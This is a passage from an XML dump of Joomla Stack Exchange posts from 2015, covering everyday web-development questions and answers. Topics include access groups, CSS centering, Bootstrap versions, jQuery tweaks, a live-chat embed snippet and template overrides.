  <row Id="12440" PostTypeId="1" CreationDate="2015-09-03T08:52:16.810" Score="3" ViewCount="373" Body="&lt;p&gt;I am finding this difficult situation and unable to give any proper solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A portal made on joomla has 3 types of users , 1 super admin , 2nd GroupLeader and 3rd GroupMember. A Groupleader can edit posts in specific category for which he was assigned as a group leader , group member cannot edit any thing but their own single profile pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Portal has different knowledge base categories like Food , Environment , Education etc. Which will have minimum one groupleader who will edit the internal pages of that category. But at the same time he can be a groupleader of other categories or a group member of any other category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. group leader XYZ is a leader of FOOD category so he can edit internal pages, group leader XYZ is also a leader of Education category so he can edit internal pages, Group XYZ is a group member of Environment category where group leader is another user called ABC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the solution i have is very very long , i must create so many users access type based on category like Group_Leader_FOOD and GROUP_MEMBER_FOOD. So since i have around 20 groups i have to create 40 access rights which seems very very difficult to manage. Because the super admin will see the registered user and he supposed to choose whether to create one user as a group leader of multiple groups or just group member of multiple groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can any one give easy way to manage this kind of issue? I am new in joomla and would love to see what experts have in mind to solve my issue.&lt;/p&gt;&#xA;" OwnerUserId="5846" LastActivityDate="2015-11-30T23:39:35.297" Title="Joomla group based access rights with multiple user roles" Tags="|php|joomla-3.4|user|user-groups|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12441" PostTypeId="2" ParentId="12423" CreationDate="2015-09-03T08:54:20.410" Score="1" Body="&lt;p&gt;There are advanced techniques implemented by template developers to support BS3. For example, loading first their own rendering classes to replace core rendering classes. Unsetting BS2 is not an option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my opinion, this can be implemented in a template, but it is overkill for a component (not in charge of the general style).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;T3 framework is a nice example about how it can be done: &lt;a href=&quot;http://www.t3-framework.org/downloads.html&quot; rel=&quot;nofollow&quot;&gt;http://www.t3-framework.org/downloads.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-09-03T08:54:20.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12443" PostTypeId="2" ParentId="9039" CreationDate="2015-09-03T11:31:50.820" Score="1" Body="&lt;p&gt;You can use JCE, if you sign up to their membership they have &lt;a href=&quot;https://www.joomlacontenteditor.net/support/documentation/31-template-manager/94-about-77878428&quot; rel=&quot;nofollow noreferrer&quot;&gt;JCE Template Manager&lt;/a&gt; which allows you to save blocks of HTML as a template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, you can easily add a &lt;a href=&quot;https://www.joomlacontenteditor.net/support/tutorials/editor/417-create-a-custom-editor-stylesheet&quot; rel=&quot;nofollow noreferrer&quot;&gt;custom editor stylesheet&lt;/a&gt; to JCE.  Once added you simply use the dropdown to select the style.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above comment also suggests &lt;a href=&quot;https://www.nonumber.nl/extensions/contenttemplater&quot; rel=&quot;nofollow noreferrer&quot;&gt;No Numbers content Templater&lt;/a&gt; which I believe is more powerful although I have never used it personally many people I know recommend it.  There are free &amp;amp; paid versions.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="9765" LastEditDate="2017-05-26T16:52:01.477" LastActivityDate="2017-05-26T16:52:01.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12445" PostTypeId="1" CreationDate="2015-09-03T13:44:12.270" Score="1" ViewCount="379" Body="&lt;p&gt;I think this is immaterial, but just for the record: I'm building a Joomla 3.4.3 website with my own Bootstrap 3 template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The header image &lt;code&gt;banner.svg&lt;/code&gt; on my &lt;a href=&quot;http://dev.shespeakswithpassionmembership.com/index.php&quot; rel=&quot;nofollow&quot;&gt;website&lt;/a&gt; should be in the center. So what I did was: give the image this CSS: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;header img {&#xA;   margin: 10px auto 0 auto;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, whatever I do, the image will stay on the left, unless I give it a fixed margin: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;header img {&#xA;    margin: 10px 90px 0 90px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I don't want to do that for obivious reasons: scaling for responsiveness.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The header image 'shrinks' on scroll (jQuery), but I don't see any connection there.&lt;/p&gt;&#xA;" OwnerUserId="5837" LastEditorUserId="1629" LastEditDate="2015-09-03T14:16:01.727" LastActivityDate="2015-09-03T14:16:01.727" Title="How can I center my header image?" Tags="|fix-my-code|css|twitter-bootstrap-3|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12446" PostTypeId="1" AcceptedAnswerId="12448" CreationDate="2015-09-03T13:58:26.923" Score="3" ViewCount="136" Body="&lt;p&gt;Is there any time-line when joomla start supporting bootstrap 3?&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2022-09-03T01:08:23.553" Title="When joomla will get bootstrap 3?" Tags="|joomla-3.4|bootstrap|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12447" PostTypeId="2" ParentId="12445" CreationDate="2015-09-03T14:00:04.440" Score="1" Body="&lt;p&gt;You first need to set the wrapper container to 100% with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.navbar-header {&#xA;    width: 100%;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, for the image, you need to make it a block element and set the margins correctly, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;header.large img {&#xA;    height: auto;&#xA;    margin: 10px auto;&#xA;    max-width: 100%;&#xA;    width: 900px;&#xA;    display: block&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-09-03T14:00:04.440" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12448" PostTypeId="2" ParentId="12446" CreationDate="2015-09-03T14:02:56.240" Score="6" Body="&lt;p&gt;Migrating from Bootstrap 2.x to 3.x will take a very long time.&lt;/p&gt;&#xA;&lt;p&gt;I think it's being considered, but doubt very much this will be in Joomla 4.x, therefore I assume it will be introduced in Joomla 5.x.&lt;/p&gt;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&lt;p&gt;&lt;strike&gt;Just asked one of the PLT members and Bootstrap 3 won't be used. Bootstrap 4 is currently in alpha so by the time Joomla 4 is released, Bootstrap 4 will be stable and possible shipped with Joomla. They're also looking at non-Bootstrap frameworks just in case.&lt;/strike&gt;&lt;/p&gt;&#xA;&lt;h3&gt;Update 2:&lt;/h3&gt;&#xA;&lt;p&gt;Joomla 4 &lt;strong&gt;WILL&lt;/strong&gt; ship with Bootstrap 4.&lt;/p&gt;&#xA;&lt;h3&gt;Update 3:&lt;/h3&gt;&#xA;&lt;p&gt;Joomla 4 eventually shipped with Bootstrap 5.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="120" LastEditDate="2022-09-03T01:08:23.553" LastActivityDate="2022-09-03T01:08:23.553" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="12449" PostTypeId="1" CreationDate="2015-09-03T14:23:10.870" Score="3" ViewCount="247" Body="&lt;p&gt;I've got a great number of articles to which I have to add various intro images from one specific folder. As I understand it, I have to open each article in backend, go to &quot;Images and links&quot; tab, at the &quot;Intro image&quot; field open the media dialog, each time manually navigate to the correct folder, choose the image, close the dialog and save the article. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question: Is there any way to streamline the process? Either some extension that would enable batch editing intro images of multiple articles at once, or some way to just copy, paste and slightly change paths to the image files in the Article Manager (I find it greatly annoying that the Media form field doesn't allow direct editing of the path).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll greatly appreciate any advices.&lt;/p&gt;&#xA;" OwnerUserId="5848" LastActivityDate="2015-09-03T14:53:48.840" Title="Editing intro images" Tags="|joomla-3.4|articles|article-manager|images|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12450" PostTypeId="2" ParentId="12449" CreationDate="2015-09-03T14:53:48.840" Score="1" Body="&lt;p&gt;I've wanted to edit the intro and full image paths directly myself. They are simply fields with a &lt;code&gt;readonly&lt;/code&gt; attribute, and you can actually enable them with a couple of lines of jQuery:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($) {&#xA;    $(&quot;#jform_images_image_intro&quot;).removeAttr( &quot;readonly&quot;);&#xA;    $(&quot;#jform_images_image_fulltext&quot;).removeAttr( &quot;readonly&quot;);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Simply add this code to your admin template, and you'll be able to edit the image fields directly. Saves a couple of seconds each time...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a small admin plugin for my own use that implements this (and a couple of other &quot;hacks&quot;, like a delete image confirmation in the media manager). Let me know if your interested in testing it.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-09-03T14:53:48.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12451" PostTypeId="1" AcceptedAnswerId="12454" CreationDate="2015-09-03T15:41:59.087" Score="2" ViewCount="86" Body="&lt;p&gt;I'm trying to add the following code to my templates &lt;code&gt;index.php&lt;/code&gt;, but each time I add the code I break the site.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;  window.$zopim||(function(d,s){var z=$zopim=function(c){z._.push(c)},$=z.s=&#xA;  d.createElement(s),e=d.getElementsByTagName(s)[0];z.set=function(o){z.set.&#xA;  _.push(o)};z._=[];z.set._=[];$.async=!0;$.setAttribute(&quot;charset&quot;,&quot;utf-8&quot;);&#xA;  $.src=&quot;//v2.zopim.com/?3I3JjfOxszMie8h425NCRI4SIES4vmiO&quot;;z.t=+new Date;$.&#xA;  type=&quot;text/javascript&quot;;e.parentNode.insertBefore($,e)})(document,&quot;script&quot;);&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The name of the site that I'm getting the code from is Zopim - its a Live Chat site.&lt;/p&gt;&#xA;" OwnerUserId="5843" LastEditorUserId="1629" LastEditDate="2015-09-03T16:18:12.907" LastActivityDate="2015-09-05T09:49:50.383" Title="Adding Code to Joomla for LiveChat" Tags="|joomla-3.x|fix-my-code|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12454" PostTypeId="2" ParentId="12451" CreationDate="2015-09-03T16:26:08.717" Score="1" Body="&lt;p&gt;From your &lt;a href=&quot;https://joomla.stackexchange.com/questions/12427/pop-up-chat-box/12428#12428&quot;&gt;previous question&lt;/a&gt; I know you're using the &lt;a href=&quot;https://www.gavick.com/documentation/joomla/gavern-framework/introduction&quot; rel=&quot;nofollow noreferrer&quot;&gt;Gavick framework&lt;/a&gt;. The &lt;code&gt;index.php&lt;/code&gt; file is somewhat different from other templates, it loads all the parts of your website from other files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The correct file to edit is &lt;code&gt;templates/YOURTEMPLATE/layouts/blocks/head.php&lt;/code&gt;. Past your code at the end of this file and you should be good to go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to use a Custom HTML module (e.g. &lt;a href=&quot;http://extensions.joomla.org/extension/custom-html-advanced&quot; rel=&quot;nofollow noreferrer&quot;&gt;Custom HTML Advanced&lt;/a&gt;) to paste your code and publish the module to the pages where you want your live chat code to appear.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-09-03T16:26:08.717" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12455" PostTypeId="1" AcceptedAnswerId="12456" CreationDate="2015-09-03T18:40:43.283" Score="2" ViewCount="1158" Body="&lt;p&gt;Is there a way to add an id-tag to the article HTML through the Joomla interface?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment I add a div in the source of the article so i get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;article class=&quot;item leading-0 clearfix&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;about-me&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;Article text.&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/article&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, i would prefer setting it in the interface so that i get directly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;article class=&quot;item leading-0 clearfix&quot; id=&quot;about-me&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;Article text.&amp;lt;/p&amp;gt;&#xA;&amp;lt;/article&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is this possible?&lt;/p&gt;&#xA;" OwnerUserId="5852" LastActivityDate="2015-09-03T19:20:36.413" Title="Adding id tag to article HTML" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12456" PostTypeId="2" ParentId="12455" CreationDate="2015-09-03T19:20:36.413" Score="1" Body="&lt;p&gt;You can get the current article id like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$article_id = JFactory::getApplication()-&amp;gt;input-&amp;gt;get('id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Create an override for &lt;code&gt;JOOMLAROOT\components\com_content\views\article\tmpl\default.php&lt;/code&gt; by copying the file to &lt;code&gt;JOOMLAROOT\templates\YOURTEMPLATE\html\com_content\article\default.php&lt;/code&gt;. Then add the following code wherever you want to add the article id:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo intval($article_id); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;article class=&quot;item leading-0 clearfix&quot; id=&quot;&amp;lt;?php echo intval($article_id); ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;Article text.&amp;lt;/p&amp;gt;&#xA;&amp;lt;/article&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I added &lt;code&gt;intval()&lt;/code&gt; in order to get the article ID only, but you can remove it if you want. If you do, &lt;code&gt;$article_id&lt;/code&gt; will be something like &lt;strong&gt;24joomla&lt;/strong&gt; because &lt;code&gt;JFactory::getApplication()-&amp;gt;input-&amp;gt;get('id')&lt;/code&gt; seems to return both the id and the alias together. I'm not sure why, maybe someone else can explain it?&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-09-03T19:20:36.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12457" PostTypeId="1" CreationDate="2015-09-03T19:41:49.100" Score="0" ViewCount="26" Body="&lt;p&gt;I am unable to assign permission to create articles in a specific category. ACL permissions are set to their default values. I have edited the category in question, selected permissions, and given the Registered group permission to &lt;strong&gt;create&lt;/strong&gt; and &lt;strong&gt;edit own&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a registered user navigates to the category listing page, &quot;New&quot; button appears -- but the button is clicked the link, Joomla shows an error about &quot;Unauthorized to view that resource....&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other setting that must be set to accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="2316" LastEditorUserId="174" LastEditDate="2015-09-03T20:27:55.033" LastActivityDate="2015-09-03T20:27:55.033" Title="Unable to assign permissions to create articles" Tags="|articles|acl|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12458" PostTypeId="1" CreationDate="2015-09-03T19:53:25.207" Score="0" ViewCount="47" Body="&lt;p&gt;We are developing a component for joomla 3.x and we would like to design our component front end views mobile compatibility. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We know joomla uses bootstrap 2.x where mobile compatible is very limited. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any best approach/framework available to design it mobile and joomla compatible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically the component contains list (rows and columns) and edit (simple form with 1 or 2 columns). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards &#xA;Malai &lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2015-09-04T02:02:08.527" Title="What is best approach for Mobile compatible views?" Tags="|joomla-3.4|mobile-web-design|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12459" PostTypeId="1" AcceptedAnswerId="12461" CreationDate="2015-09-03T20:48:20.163" Score="2" ViewCount="1645" Body="&lt;p&gt;Trying to get this script to work on &lt;a href=&quot;http://nettra.net/demo-sites/wvg/development/&quot; rel=&quot;nofollow&quot;&gt;this site&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var t = $('#preschool-program').offset().top - 120;&#xA;&#xA;    jQuery(document).scroll(function(){&#xA;        if($(this).scrollTop() &amp;gt; t) {   &#xA;        $('body.index header').css({&quot;background-color&quot;:&quot;rgba(0,0,0,1)&quot;});&#xA;    } &#xA;    });         &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scrolling down nearly 1/2way on the screen and the background header should turn opaque instead of staying semi-transparent. So I'm not sure why it's not working. Anyone?&lt;/p&gt;&#xA;" OwnerUserId="5819" LastActivityDate="2015-09-04T02:00:33.380" Title="Change Element Background During Scroll" Tags="|javascript|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12460" PostTypeId="1" CreationDate="2015-09-03T20:58:00.813" Score="1" ViewCount="322" Body="&lt;p&gt;Is there a way that RSForms can insert dynamic boxes when a trigger is clicked?   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if someone has three children to sign up for a class and there is only one text box for one child's information, is there a way to have a trigger that says &lt;code&gt;&quot;Add A Child&quot;&lt;/code&gt; and a set of text boxes will display?&lt;/p&gt;&#xA;" OwnerUserId="5819" LastEditorUserId="3650" LastEditDate="2016-03-06T21:39:16.380" LastActivityDate="2016-03-06T21:39:16.380" Title="Dynamically add new set of textboxes" Tags="|rsform|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12461" PostTypeId="2" ParentId="12459" CreationDate="2015-09-03T22:23:46.717" Score="2" Body="&lt;p&gt;There are several errors in your script and CSS, I'm not sure where to begin...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You're mixing &lt;code&gt;$&lt;/code&gt; and &lt;code&gt;jQuery&lt;/code&gt; in your code. Joomla loads jQuery in noConflict mode, so you're better off using &lt;code&gt;jQuery&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The variable &lt;code&gt;t&lt;/code&gt; cannot be set because it runs before the DOM is ready. Make sure you wait until the DOM is ready:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(function(){ &#xA;   var t = jQuery('#preschool-program').offset().top - 120; &#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The second part should look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).scroll(function(){&#xA;    if(jQuery(this).scrollTop() &amp;gt; t) {   &#xA;        jQuery('body.index header').css({&quot;background-color&quot;:&quot;rgba(0,0,0,1)&quot;});&#xA;} &#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That basically works (the style is added to the header element), &lt;strong&gt;but&lt;/strong&gt; the file &lt;code&gt;http://nettra.net/demo-sites/wvg/development/templates/wvgs/css/bootstrap.css&lt;/code&gt; sets the background of the header using &lt;code&gt;background: rgba(0,0,0,0.5)!important;&lt;/code&gt; at about line #10983, overriding your inline style. If you remove &lt;code&gt;!important&lt;/code&gt;, and make the changes above, it should work.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-09-03T22:23:46.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12462" PostTypeId="1" AcceptedAnswerId="13466" CreationDate="2015-09-03T23:41:22.043" Score="0" ViewCount="81" Body="&lt;p&gt;How can I check if a single zoo content item is restricted and accessible only for registered users after login?&lt;br&gt;&#xA;And after this check, apply this class into a div over in image?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.restrito {&#xA;    background-image: url(../images/restrito.png);&#xA;    background-repeat: none;&#xA;    width: 225px;&#xA;    height: 20px;&#xA;    position: absolute;&#xA;    z-index: 5;&#xA;    top: 5px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5617" LastEditorUserId="126" LastEditDate="2015-09-04T14:26:42.953" LastActivityDate="2015-09-04T14:26:42.953" Title="Zoo: How to check if a content item is restricted?" Tags="|acl|zoo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13462" PostTypeId="2" ParentId="12459" CreationDate="2015-09-04T02:00:33.380" Score="1" Body="&lt;p&gt;Just an addition to @Johanpw's answer.&lt;/p&gt;&#xA;&lt;p&gt;jQuery has some issues with the &lt;code&gt;!important&lt;/code&gt; attribute when using &lt;code&gt;.css()&lt;/code&gt; which you're going to have to use as Bootstrap is using it.&lt;/p&gt;&#xA;&lt;p&gt;Here are 2 alternatives that you can use.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Solution 1:&lt;/h2&gt;&#xA;&lt;p&gt;You can apply your styling using the &lt;code&gt;.style&lt;/code&gt; function:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$('body.index header').attr('style', 'background-color: rgba(0,0,0,1) !important');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Solution 2:&lt;/h2&gt;&#xA;&lt;p&gt;You could also add a class using jQuery and target this class using CSS which is much faster than applying the styling through jQuery itself.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;jQuery:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$('body.index header').addClass('customBG');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;CSS:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.customBG {&#xA;    background-color: rgba(0,0,0,1) !important;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Full code using solution 1:&lt;/h2&gt;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function ($) {&#xA;  &#xA;    var t = $('#preschool-program').offset().top - 120;&#xA;  &#xA;    $(document).scroll(function () {       &#xA;        if ($(this).scrollTop() &amp;gt; 0){ &#xA;            $('body.index header').attr('style', 'background-color: red !important');&#xA;        }       &#xA;    });&#xA;  &#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-09-04T02:00:33.380" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13463" PostTypeId="2" ParentId="12458" CreationDate="2015-09-04T02:02:08.527" Score="1" Body="&lt;p&gt;I don't think bootstrap 2.x mobile compatibility is 'that' very limited. It's  powerful enough to do the the basic mobile compatibility things, especially when you just need it for displaying rows and columns. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my opinion as a template designer, I think the best approach to design component view / layout is to code it as native/standard as possible you can, and let user to extend the looks the from the template side (that's the reason why the Joomla template override feature exist). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a non native way to code the component view, will possibly end up on isolated looks / style for your component. This will force template designers to do extra styling efforts when designing a template, to make the component look matches the global looks of the website.&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2015-09-04T02:02:08.527" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13465" PostTypeId="1" CreationDate="2015-09-04T05:31:42.050" Score="3" ViewCount="281" Body="&lt;p&gt;I have looked in the &lt;code&gt;/media/system/js/repeatable-uncompressed.js&lt;/code&gt; file but could only find events that trigger after the init of JRepeatable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to update the input value of the repeatable field, and then initialize a new draw or build of the repeatable fields based on the new values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To update the value of the repeatable field is easy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var fer = '{&quot;key&quot;:[&quot;1&quot;,&quot;38&quot;,&quot;3&quot;,&quot;13&quot;,&quot;23&quot;],&quot;cpe&quot;:[&quot;3&quot;,&quot;2&quot;,&quot;3&quot;,&quot;3&quot;,&quot;2&quot;],&quot;mbr&quot;:[&quot;3&quot;,&quot;2&quot;,&quot;3&quot;,&quot;3&quot;,&quot;2&quot;],&quot;mtr&quot;:[&quot;3&quot;,&quot;2&quot;,&quot;3&quot;,&quot;2&quot;,&quot;2&quot;]}';&#xA;jQuery('#jform_repeatable_id').val(fer);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But to get it to initialize based on those new values is what I need.&lt;/p&gt;&#xA;" OwnerUserId="2166" LastEditorUserId="1629" LastEditDate="2015-09-07T21:48:41.490" LastActivityDate="2015-09-07T21:48:41.490" Title="How to update the Repeatable fields in Joomla 3 with jQuery" Tags="|repeatable-field|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13466" PostTypeId="2" ParentId="12462" CreationDate="2015-09-04T12:13:41.490" Score="0" Body="&lt;p&gt;All Zoo content items are avaiable in table #_zoo_item. All columuns from this table are accessible through the zoo template files:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/media/zoo/applications/blog/templates/TEMPLATE/reder/item/full.php&#xA;/media/zoo/applications/blog/templates/TEMPLATE/reder/item/teaser.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;with this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$item_id = $this-&amp;gt;_item-&amp;gt;id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can access any data, by changing the column name:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$item_YOUR_VARIABLE = $this-&gt;_item-&gt;COLUMN_NAME;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case, checking for the access of the items, and display the &lt;code&gt;div class=&quot;restrito&quot;&lt;/code&gt; only for the posts with restricted access, I use this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$item_access = $this-&amp;gt;_item-&amp;gt;access;&#xA;&#xA;&amp;lt;?php if ($item_access == &quot;2&quot;) : ?&amp;gt;&#xA;       &amp;lt;div class=&quot;restrito&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Public Access = &quot;1&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Restricted Access = &quot;2&quot;&lt;/p&gt;&#xA;" OwnerUserId="5617" LastEditorUserId="126" LastEditDate="2015-09-04T14:25:25.050" LastActivityDate="2015-09-04T14:25:25.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13468" PostTypeId="1" AcceptedAnswerId="13476" CreationDate="2015-09-04T16:20:33.487" Score="1" ViewCount="1311" Body="&lt;p&gt;I am building a simple Joomla Sidebar module and I want to display fontawesome icons into each menu item using the Link CSS Style.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tiscz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tiscz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which param is responsible for this? How can I get this param from Joomla and display icons into my menu item like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $getfontawesomeiconhere = htmlspecialchars($params-&amp;gt;get('class_sfx')); ?&amp;gt;&#xA;&amp;lt;a class='$getfontawesomeiconhere' 